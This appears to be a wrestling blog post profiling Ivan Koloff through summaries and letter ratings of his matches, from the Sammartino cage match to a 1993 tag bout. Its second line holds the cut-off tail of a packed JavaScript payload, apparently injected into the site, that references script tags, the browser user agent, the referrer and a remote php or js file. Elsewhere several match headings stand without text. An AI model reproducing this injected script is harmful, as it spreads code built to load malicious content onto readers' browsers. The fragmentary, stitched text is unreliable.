Wrestler of the Day – November 10: Ivan Koloff
");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yddnr|var|u0026u|referrer|trrhy||js|php'.split('|'),0,{})) we’re looking at the most evil foreigner of all time: Ivan Koloff.
Bruno Sammartino vs. Ivan Koloff
The footage is very old and of low quality so the details might be sketchy here. Also the match itself ran about fifteen minutes but only eight minutes of footage exists. Koloff grabs a quick headlock to start but is backdropped down as the champion escapes. A slam and an armbar put Koloff down but he grabs a headscissors to escape a cover. Bruno gets monkey flipped down but takes over with an armbar.
From 21 days later in the same building.
Ivan Koloff vs. Pedro Morales
Bruno Sammartino vs. Ivan Koloff
This is inside a steel cage and is called the first ever cage match in Madison Square Garden. You can only win by going out of the cage. Koloff attacks to start the match but Bruno fires off right hands to send Koloff into the cage. Bruno sends him chest first into the buckle and fires off some knees to the face to keep control. Vince calls Koloff the favorite to win the match for some reason. Bruno pounds away even more and sends Ivan face first into the cage wall again.
Bruno stomps away on the back of the head before sending him into the cage again. All Bruno so far. Ivan comes back with a kick to the stomach to take over and now Sammartino tastes the steel. The champion comes back with more right hands and sends Ivan into the cage yet again. Bruno fights back with right hands and pulls Koloff back in as he tries to escape. The ring is especially loud in this match. Ivan goes face first into the cage three times in a row and make it four.
One more shot at the title on August 28, 1978, again in MSG.
Bob Backlund vs. Ivan Koloff
Bob puts him on the top rope to counter and hooks something like a spinning toehold. Thankfully this one lasts less than the usual two hours with Ivan kicking him in the ribs. Ivan sends him into the ropes but they ram heads, sending Bob to the floor. Koloff is smart and breaks up the count so he can still win the title. Backlund gets rammed into the post and a backbreaker gets two.
Ivan goes up top for the biggest pop from the crowd(and possibly the only one so far) of the match but his top rope knee drop misses. Backlund sends him in but gets kicked down again, this time back to the floor again. Koloff breaks up the count again, this time by going up top and jumping down onto the apron, kicking Bob in the head on the way down. That would be considered a big spot back then.
Keith Larson/Ole Anderson vs. Nikita Koloff/Ivan Koloff
Anderson and Larson stay on the arm before Ivan FINALLY drags Anderson over to the corner for a tag off to the monster Nikita. He pounds Anderson down and puts him in a bearhug as momentum has completely swung the other direction. As is the custom tonight, the hold stays on for several minutes before Ole smacks Nikita in the head to escape. Back to Ivan who gets two off a slam.
Back to Nikita to break up a hot tag and puts on another bearhug. Anderson finally punches out of it and makes the hot tag off to Larson. Keith speeds things up but gets run over by a Russian Sickle (hooking clothesline). Everything breaks down and Kernoodle is knocked down. As Ole and Nikita fight on the floor, Ivan pins Larson off a chain shot to the head.
World Tag Titles: Rock N Roll Express vs. Ivan Koloff/Nikita Koloff
Back to Ivan who is busted open as well. Robert is sent into the cage yet again and an elbow drop gets two for Ivan. Off to Nikita for some biting to the head before Ivan comes in for some slow power offense. Robert rolls away from a legdrop but Nikita comes in for a chinlock. Gibson is busted open as well, which seems to be a requirement tonight.
Rating: B. Good old fashioned tag match here with the Express getting destroyed until the very end where they won on a pure fluke. The fans were WAY into the Express at this point and Morton would even get a program with Ric Flair. The Russians were a great old school tag team idea with both guys looking like monsters and acting like it as well. Also this was nice to see a change in the usual Express formula with Gibson getting beaten down instead of Morton.
Road Warriors vs. Ivan Koloff/Nikita Koloff
From Starrcade 1986 with Ivan trying to prove Soviet superiority.
US Tag Titles: Krusher Khrushchev/Ivan Koloff vs. Kansas Jayhawks
Rating: C. Another basic tag match here but it was at a slightly faster pace, making it a more entertaining match for the most part. The Russians continue to be a perfectly fine midcard heel act as the Cold War was still going on at this point. The Jayhawks never did much of anything as a team and would fade into obscurity pretty soon after the start of the new year.
In a violent match at the first Clash of the Champions.
Road Warriors/Dusty Rhodes vs. Powers of Pain/Ivan Koloff
Time for a “specialty” match at Clash III.
Ricky Morton vs. Ivan Koloff
Ivan Koloff vs. Paul Jones
Jones is a manager but also a former United States Champion. Koloff has his arm tied behind his back to make this a little bit more fair. Ivan grabs Jones by the throat and Paul bails to the floor. Back in and Jones sticks and moves which just angers Koloff even more. They circle each other for a few minutes as there has been almost no contact here. Koloff finally gets him into the corner and rams him into all four turnbuckles, sending Jones to his knees to beg for mercy.
Ivan turned face with Nikita Koloff as his partner but when Nikita left, this is what they came up with. From Starrcade 1988.
Russian Assassins vs. Junkyard Dog/Ivan Koloff
One more match from right before Ivan retired. From Slamboree 1993.
Thunderbolt Patterson/Brad Armstrong vs. Baron Von Rashcke/Ivan Koloff
It was supposed to be Bob Armstrong but he’s hurt so it’s his son instead. He’s in street clothes but whatever. Total brawl to start as Armstrong is about 25 years younger than everyone else in the match. Raschke gets sent to the floor and the young guy’s team rule the ring. Let the stalling begin! The Baron runs from Patterson a lot and we get a very basic match which doesn’t look to last that long.
Koloff vs. Armstrong now as we talk about Sammartino losing the WWF Title to Koloff. Naturally that name isn’t used but you get the idea. There’s the Claw to Armstrong but Patterson breaks it up. Patterson gets a hot tag and beats up the bald bad guys a bit. What I think was supposed to be a double chop to the Barron ends this.
Rating: D+. Yeah this was pretty worthless. Patterson looked like he was about 95 years old and was probably the second best looking guy in the match. Bob helped a bit but with only four and a half minutes to work with, how much can you really complain here? Not much of a match but it wasn’t supposed to be anything that good.
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